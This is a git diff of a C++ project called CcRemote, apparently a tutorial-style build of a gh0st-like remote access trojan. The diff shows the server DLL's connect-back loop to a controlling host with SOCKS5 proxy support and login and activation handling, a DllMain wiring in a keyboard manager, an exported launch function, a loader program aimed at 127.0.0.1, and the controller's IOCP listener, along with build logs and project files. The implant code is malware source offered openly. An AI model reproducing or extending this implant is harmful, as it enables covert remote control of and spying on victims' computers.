||||
if (lpszProxyHost != NULL)
|
||||
socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
|
||||
else
|
||||
socketClient.setGlobalProxyOption();
|
||||
|
||||
DWORD dwTickCount = GetTickCount();
|
||||
//---调用Connect函数向主控端发起连接
|
||||
if (!socketClient.Connect(lpszHost, dwPort))
|
||||
{
|
||||
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
|
||||
continue;
|
||||
}
|
||||
// 登录
|
||||
DWORD dwExitCode = SOCKET_ERROR;
|
||||
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
|
||||
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
|
||||
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
|
||||
socketClient.setManagerCallBack(&manager);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
|
||||
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
|
||||
{
|
||||
Sleep(1000);
|
||||
}
|
||||
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
|
||||
if (!manager.IsActived())
|
||||
continue;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
DWORD dwIOCPEvent;
|
||||
dwTickCount = GetTickCount();
|
||||
|
||||
do
|
||||
{
|
||||
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
|
||||
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
|
||||
Sleep(500);
|
||||
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
|
||||
|
||||
if (hEvent != NULL)
|
||||
{
|
||||
socketClient.Disconnect();
|
||||
CloseHandle(hEvent);
|
||||
break;
|
||||
}
|
||||
}
|
||||
#ifdef _DLL
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// Restor WindowStation and Desktop
|
||||
// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
|
||||
// SetProcessWindowStation(hOldStation);
|
||||
// CloseWindowStation(hWinSta);
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
#endif
|
||||
|
||||
SetErrorMode(0);
|
||||
ReleaseMutex(hInstallMutex);
|
||||
CloseHandle(hInstallMutex);
|
||||
}
|
||||
|
||||
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
|
||||
{
|
||||
strcpy(g_strHost, strHost); //保存上线地址
|
||||
g_dwPort = nPort; //保存上线端口
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
|
||||
//这里等待线程结束
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
|
||||
//CKeyboardManager::m_dwLastMsgTime = GetTickCount();
|
||||
//CKeyboardManager::Initialization();
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
5
CcMainDll/CcMainDll/framework.h
Normal file
5
CcMainDll/CcMainDll/framework.h
Normal file
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
|
||||
// Windows 头文件
|
||||
#include <windows.h>
|
5
CcMainDll/CcMainDll/pch.cpp
Normal file
5
CcMainDll/CcMainDll/pch.cpp
Normal file
@@ -0,0 +1,5 @@
|
||||
// pch.cpp: 与预编译标头对应的源文件
|
||||
|
||||
#include "pch.h"
|
||||
|
||||
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
|
13
CcMainDll/CcMainDll/pch.h
Normal file
13
CcMainDll/CcMainDll/pch.h
Normal file
@@ -0,0 +1,13 @@
|
||||
// pch.h: 这是预编译标头文件。
|
||||
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
|
||||
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
|
||||
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
|
||||
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。
|
||||
|
||||
#ifndef PCH_H
|
||||
#define PCH_H
|
||||
|
||||
// 添加要在此处预编译的标头
|
||||
#include "framework.h"
|
||||
|
||||
#endif //PCH_H
|
13
CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log
Normal file
13
CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log
Normal file
@@ -0,0 +1,13 @@
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.ilk
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog
|
3
CcMainDll/TestLoadDll/Debug/TestLoadDll.log
Normal file
3
CcMainDll/TestLoadDll/Debug/TestLoadDll.log
Normal file
@@ -0,0 +1,3 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\bin\server\TestLoadDll.exe
|
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
14
CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log
Normal file
14
CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log
Normal file
@@ -0,0 +1,14 @@
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.ipdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.iobj
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog
|
6
CcMainDll/TestLoadDll/Release/TestLoadDll.log
Normal file
6
CcMainDll/TestLoadDll/Release/TestLoadDll.log
Normal file
@@ -0,0 +1,6 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
正在生成代码
|
||||
All 10 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\bin\server\TestLoadDll.exe\TestLoadDll.exe
|
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
25
CcMainDll/TestLoadDll/TestLoadDll.cpp
Normal file
25
CcMainDll/TestLoadDll/TestLoadDll.cpp
Normal file
@@ -0,0 +1,25 @@
|
||||
// TestLoadDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
std::cout << "Hello World!\n";
|
||||
char strHost[] = "127.0.0.1"; //声明上线地址
|
||||
int nPort = 80; //声明上线端口
|
||||
//载入服务端dll
|
||||
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
|
||||
//HMODULE hServerDll = LoadLibrary(".\server.dll");
|
||||
//声明导出函数类型--查看上一节导出的TestRun函数
|
||||
typedef void(_cdecl *TestRunT)(char* strHost, int nPort);
|
||||
//寻找dll中导出函数
|
||||
TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestFun");
|
||||
//判断函数是否为空
|
||||
if (pTestRunT != NULL)
|
||||
{
|
||||
pTestRunT(strHost, nPort); //调用这个函数
|
||||
}
|
||||
|
||||
}
|
161
CcMainDll/TestLoadDll/TestLoadDll.vcxproj
Normal file
161
CcMainDll/TestLoadDll/TestLoadDll.vcxproj
Normal file
@@ -0,0 +1,161 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>TestLoadDll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="TestLoadDll.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
22
CcMainDll/TestLoadDll/TestLoadDll.vcxproj.filters
Normal file
22
CcMainDll/TestLoadDll/TestLoadDll.vcxproj.filters
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="TestLoadDll.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
4
CcMainDll/TestLoadDll/TestLoadDll.vcxproj.user
Normal file
4
CcMainDll/TestLoadDll/TestLoadDll.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
BIN
CcMainDll/bin/server/CcMainDll.lib
Normal file
BIN
CcMainDll/bin/server/CcMainDll.lib
Normal file
Binary file not shown.
BIN
CcMainDll/bin/server/TestLoadDll.exe
Normal file
BIN
CcMainDll/bin/server/TestLoadDll.exe
Normal file
Binary file not shown.
Binary file not shown.
@@ -104,6 +104,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
|
||||
{
|
||||
try
|
||||
{
|
||||
::MessageBox(NULL, "有连接到来!!", "", NULL);
|
||||
switch (nCode)
|
||||
{
|
||||
case NC_CLIENT_CONNECT:
|
||||
@@ -139,7 +140,7 @@ void CCcRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
|
||||
m_iocpServer = new CIOCPServer;
|
||||
|
||||
// 开启IPCP服务器 最大连接 端口 查看NotifyProc回调函数 函数定义
|
||||
if (m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort))
|
||||
if (m_iocpServer->Initialize(NotifyProc, NULL, nMaxConnections, nPort))
|
||||
{
|
||||
|
||||
char hostname[256];
|
||||
@@ -156,7 +157,6 @@ void CCcRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
str.Format("监听端口: %d成功", nPort);
|
||||
ShowMessage(true, str);
|
||||
}
|
||||
@@ -166,7 +166,6 @@ void CCcRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
|
||||
ShowMessage(true, str);
|
||||
}
|
||||
|
||||
//m_wndStatusBar.SetPaneText(3, "连接: 0");
|
||||
}
|
||||
|
||||
BOOL CCcRemoteDlg::OnInitDialog()
|
||||
@@ -199,19 +198,22 @@ BOOL CCcRemoteDlg::OnInitDialog()
|
||||
SetIcon(m_hIcon, FALSE); // 设置小图标
|
||||
|
||||
// TODO: 在此添加额外的初始化代码
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
InitSystemMenu();//初始化系统托盘
|
||||
InitToolBar();//初始化工具栏按钮控件
|
||||
InitMyMenu();//初始化菜单控件
|
||||
InitList();//初始化列表控件
|
||||
InitStatusBar();//初始化状态栏控件
|
||||
//---------改变窗口大小出发动态调整-------|
|
||||
//---------改变窗口大小触发动态调整-------|
|
||||
CRect rect;
|
||||
GetWindowRect(&rect);
|
||||
rect.bottom += 20;
|
||||
MoveWindow(rect);
|
||||
//----------------------------------------|
|
||||
ListenPort();
|
||||
ListenPort();//监听端口
|
||||
Test();
|
||||
|
||||
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
|
||||
@@ -356,9 +358,11 @@ int CCcRemoteDlg::InitMyMenu()
|
||||
|
||||
int CCcRemoteDlg::InitList()
|
||||
{
|
||||
//设置list可选中
|
||||
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
|
||||
//计算控件宽度
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++)
|
||||
{
|
||||
m_CList_Online.InsertColumn(i, m_Column_Online_Data[i].title, LVCFMT_LEFT, m_Column_Online_Data[i].nWidth);
|
||||
@@ -670,6 +674,8 @@ void CCcRemoteDlg::OnClose()
|
||||
CDialogEx::OnClose();
|
||||
}
|
||||
|
||||
|
||||
//托盘图标回调函数
|
||||
void CCcRemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
switch ((UINT)lParam)
|
||||
|
@@ -5,7 +5,17 @@ g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\release\ccremote.exe
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
|
||||
|
@@ -1,12 +1,12 @@
|
||||
pch.cpp
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(147): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(148): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(152): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(153): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(292): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(309): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(294): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(311): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
CSettingDlg.cpp
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
@@ -15,12 +15,12 @@ g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat':
|
||||
TrueColorToolBar.cpp
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
